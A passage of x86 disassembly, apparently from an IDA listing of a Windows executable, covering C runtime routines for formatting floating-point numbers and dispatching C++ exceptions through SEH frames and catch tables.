		jns	short loc_422345
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_422345:				; CODE XREF: sub_422279+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_42235C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_42235C:				; CODE XREF: sub_422279+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_422373
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_422373:				; CODE XREF: sub_422279+E7j
		add	[ecx+1], bl


loc_422376:				; CODE XREF: sub_422279+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422279	endp


; =============== S U B	R O U T	I N E =======================================



sub_42237D	proc near		; CODE XREF: sub_42251D+13p
					; sub_422540+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DBE5C, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_4223B8
		mov	eax, dword_4DBE60
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DBE58
		cmp	eax, ebx
		jnz	short loc_4223E8
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4223E8
; ---------------------------------------------------------------------------


loc_4223B8:				; CODE XREF: sub_42237D+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424DF9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424D82
		add	esp, 14h


loc_4223E8:				; CODE XREF: sub_42237D+22j
					; sub_42237D+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4223F6
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_4223F6:				; CODE XREF: sub_42237D+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_42240D
		push	1
		push	edi
		call	sub_422591
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_42240F
; ---------------------------------------------------------------------------


loc_42240D:				; CODE XREF: sub_42237D+7Ej
		add	edi, eax


loc_42240F:				; CODE XREF: sub_42237D+8Ej
		test	ebx, ebx
		jle	short loc_422454
		push	1
		push	edi
		call	sub_422591
		mov	al, byte_43D088
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_422454
		cmp	byte_4DBE5C, 0
		jz	short loc_422439
		neg	esi
		jmp	short loc_42243F
; ---------------------------------------------------------------------------


loc_422439:				; CODE XREF: sub_42237D+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_422441


loc_42243F:				; CODE XREF: sub_42237D+BAj
		mov	ebx, esi


loc_422441:				; CODE XREF: sub_42237D+C0j
		push	ebx
		push	edi
		call	sub_422591
		push	ebx
		push	30h
		push	edi
		call	sub_41BF70
		add	esp, 14h


loc_422454:				; CODE XREF: sub_42237D+94j
					; sub_42237D+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42237D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42245B	proc near		; CODE XREF: sub_422540+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424DF9
		mov	dword_4DBE58, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DBE60, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424D82
		mov	eax, dword_4DBE58
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DBE60, ecx
		setl	cl
		mov	byte_4DBE64, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DBE60, eax
		jl	short loc_4224E1
		cmp	eax, ebx
		jge	short loc_4224E1
		test	cl, cl
		jz	short loc_4224D2


loc_4224C8:				; CODE XREF: sub_42245B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4224C8
		and	[esi-2], al


loc_4224D2:				; CODE XREF: sub_42245B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_42251D
		add	esp, 0Ch
		jmp	short loc_4224F1
; ---------------------------------------------------------------------------


loc_4224E1:				; CODE XREF: sub_42245B+63j
					; sub_42245B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_4224F6
		add	esp, 10h


loc_4224F1:				; CODE XREF: sub_42245B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42245B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224F6	proc near		; CODE XREF: sub_42245B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_422279
		and	byte_4DBE5C, 0
		add	esp, 10h
		retn
sub_4224F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42251D	proc near		; CODE XREF: sub_42245B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42237D
		and	byte_4DBE5C, 0
		add	esp, 0Ch
		retn
sub_42251D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422540	proc near		; CODE XREF: sub_41FF3F+3AAp
					; DATA XREF: sub_41D13Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 45h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 66h
		jnz	short loc_422568
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42237D
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422568:				; CODE XREF: sub_422540+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42245B
		jmp	short loc_42258C
; ---------------------------------------------------------------------------


loc_42257B:				; CODE XREF: sub_422540+7j
					; sub_422540+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422279


loc_42258C:				; CODE XREF: sub_422540+39j
		add	esp, 10h
		pop	ebp
		retn
sub_422540	endp


; =============== S U B	R O U T	I N E =======================================



sub_422591	proc near		; CODE XREF: sub_422279+2Cp
					; sub_42237D+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4225B4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D670
		add	esp, 10h
		pop	esi


loc_4225B4:				; CODE XREF: sub_422591+7j
		pop	edi
		retn
sub_422591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B6	proc near		; CODE XREF: .packed:0041D31Cp
					; sub_41D385+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4225CC
		call	sub_422E52


loc_4225CC:				; CODE XREF: sub_4225B6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_4225F4
		cmp	dword ptr [esi+4], 0
		jz	short loc_42264A
		cmp	[ebp+arg_14], 0
		jnz	short loc_42264A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4228FD
		add	esp, 10h
		jmp	short loc_42264A
; ---------------------------------------------------------------------------


loc_4225F4:				; CODE XREF: sub_4225B6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_42264A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42262E
		cmp	[eax+14h], edi
		jbe	short loc_42262E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_42262E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_42264D
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_4225B6+4Aj
					; sub_4225B6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_422651
		add	esp, 20h


loc_42264A:				; CODE XREF: sub_4225B6+23j
					; sub_4225B6+29j ...
		push	1
		pop	eax


loc_42264D:				; CODE XREF: sub_4225B6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4225B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422651	proc near		; CODE XREF: sub_4225B6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_422671
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_422676


loc_422671:				; CODE XREF: sub_422651+16j
		call	sub_422E52


loc_422676:				; CODE XREF: sub_422651+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		mov	esi, dword_4DBE68
		test	esi, esi
		jz	loc_4227C8
		mov	eax, dword_4DBE6C
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424F80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4226CC
		call	sub_422E52


loc_4226CC:				; CODE XREF: sub_422651+74j
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		call	sub_422E52


loc_4226EA:				; CODE XREF: sub_422651+41j
					; sub_422651+46j ...
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4227CD
		cmp	[esi+14h], edi
		jnz	loc_4227CD
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	ebx, eax


loc_422721:				; CODE XREF: sub_422651+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4227B8
		cmp	[ebx], edi
		jg	short loc_4227AD
		cmp	edi, [ebx+4]
		jg	short loc_4227AD
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4227AA


loc_422746:				; CODE XREF: sub_422651+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_422777


loc_422758:				; CODE XREF: sub_422651+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4228A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422786
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_422758


loc_422777:				; CODE XREF: sub_422651+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_422746
		jmp	short loc_4227AA
; ---------------------------------------------------------------------------


loc_422786:				; CODE XREF: sub_422651+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4229B1
		add	esp, 2Ch


loc_4227AA:				; CODE XREF: sub_422651+F3j
					; sub_422651+133j
		mov	edi, [ebp+var_10]


loc_4227AD:				; CODE XREF: sub_422651+DEj
					; sub_422651+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_422721
; ---------------------------------------------------------------------------


loc_4227B8:				; CODE XREF: sub_422651+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_4227C8
		push	1
		push	esi
		call	sub_422D26
		pop	ecx
		pop	ecx


loc_4227C8:				; CODE XREF: sub_422651+56j
					; sub_422651+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4227CD:				; CODE XREF: sub_422651+37j
					; sub_422651+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_4227F3
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4227F8
		add	esp, 20h
		jmp	short loc_4227C8
; ---------------------------------------------------------------------------


loc_4227F3:				; CODE XREF: sub_422651+180j
		jmp	sub_422DFC
sub_422651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227F8	proc near		; CODE XREF: sub_422651+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBE70, 0
		push	esi
		push	edi
		jz	short loc_422829
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D3AA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42289C


loc_422829:				; CODE XREF: sub_4227F8+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	esi, eax


loc_422845:				; CODE XREF: sub_4227F8+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_42289C
		cmp	edi, [esi]
		jl	short loc_422894
		cmp	edi, [esi+4]
		jg	short loc_422894
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_42286E
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_422894


loc_42286E:				; CODE XREF: sub_4227F8+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4229B1
		add	esp, 2Ch


loc_422894:				; CODE XREF: sub_4227F8+57j
					; sub_4227F8+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_422845
; ---------------------------------------------------------------------------


loc_42289C:				; CODE XREF: sub_4227F8+2Fj
					; sub_4227F8+53j
		pop	edi
		pop	esi
		leave
		retn
sub_4227F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_422651+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4228F7
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_4228F7
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4228D1
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4228F3


loc_4228D1:				; CODE XREF: sub_4228A0+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4228DB
		test	byte ptr [edi],	8
		jz	short loc_4228F3


loc_4228DB:				; CODE XREF: sub_4228A0+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4228EA
		test	byte ptr [edi],	1
		jz	short loc_4228F3


loc_4228EA:				; CODE XREF: sub_4228A0+43j
		test	al, 2
		jz	short loc_4228F7
		test	byte ptr [edi],	2
		jnz	short loc_4228F7


loc_4228F3:				; CODE XREF: sub_4228A0+2Fj
					; sub_4228A0+39j ...
		xor	eax, eax
		jmp	short loc_4228FA
; ---------------------------------------------------------------------------


loc_4228F7:				; CODE XREF: sub_4228A0+Bj
					; sub_4228A0+14j ...
		push	1
		pop	eax


loc_4228FA:				; CODE XREF: sub_4228A0+55j
		pop	edi
		pop	esi
		retn
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228FD	proc near		; CODE XREF: sub_4225B6+34p
					; sub_4229B1+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42292F:				; CODE XREF: sub_4228FD+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_422989
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42293E
		cmp	esi, [edi+4]
		jl	short loc_422943


loc_42293E:				; CODE XREF: sub_4228FD+3Aj
		call	sub_422E52


loc_422943:				; CODE XREF: sub_4228FD+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_42295E
		push	103h
		push	ebx
		push	eax
		call	sub_422DB0


loc_42295E:				; CODE XREF: sub_4228FD+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42297E
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_42299B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_42297E:				; CODE XREF: sub_4228FD+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42292F
; ---------------------------------------------------------------------------


loc_422989:				; CODE XREF: sub_4228FD+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4228FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42299B	proc near		; CODE XREF: sub_4228FD+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4229AC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4229AC:				; CODE XREF: sub_42299B+Cj
		jmp	sub_422DFC
sub_42299B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4229B1	proc near		; CODE XREF: sub_422651+151p
					; sub_4227F8+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4229D3
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422B62
		add	esp, 10h


loc_4229D3:				; CODE XREF: sub_4229B1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4229DF
		push	edi
		jmp	short loc_4229E2
; ---------------------------------------------------------------------------


loc_4229DF:				; CODE XREF: sub_4229B1+29j
		push	[ebp+arg_24]


loc_4229E2:				; CODE XREF: sub_4229B1+2Cj
		call	sub_41D2AC
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_4228FD
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_422A2C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422A27
		push	edi
		push	eax
		call	sub_41D26A


loc_422A27:				; CODE XREF: sub_4229B1+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4229B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A2C	proc near		; CODE XREF: sub_4229B1+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DBE68
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBE6C
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DBE68, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBE6C, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41D331
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422AF2
		mov	eax, [ebp+var_2C]


loc_422AB9:				; CODE XREF: sub_422AD2+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422A2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AC8	proc near		; DATA XREF: .packed:004278C8o
		push	dword ptr [ebp-14h]
		call	sub_422B38
		pop	ecx
		retn
sub_422AC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; DATA XREF: .packed:004278CCo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D592
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422AB9
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AEA:				; DATA XREF: .packed:004278C0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422AF2	proc near		; CODE XREF: sub_422A2C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DBE68, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBE6C, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422B37
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422B37
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422B37
		cmp	[ebp-24h], ebx
		jnz	short locret_422B37
		cmp	[ebp-2Ch], ebx
		jz	short locret_422B37
		call	sub_41D5FA
		push	eax
		push	edi
		call	sub_422D26
		pop	ecx
		pop	ecx

locret_422B37:				; CODE XREF: sub_422AF2+1Cj
					; sub_422AF2+22j ...
		retn
sub_422AF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B38	proc near		; CODE XREF: sub_422AC8+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422B5F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_422B5F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422B5F:				; CODE XREF: sub_422B38+Cj
					; sub_422B38+12j ...
		xor	eax, eax
		retn
sub_422B38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B62	proc near		; CODE XREF: sub_4229B1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_422D0B
		cmp	byte ptr [eax+8], 0
		jz	loc_422D0B
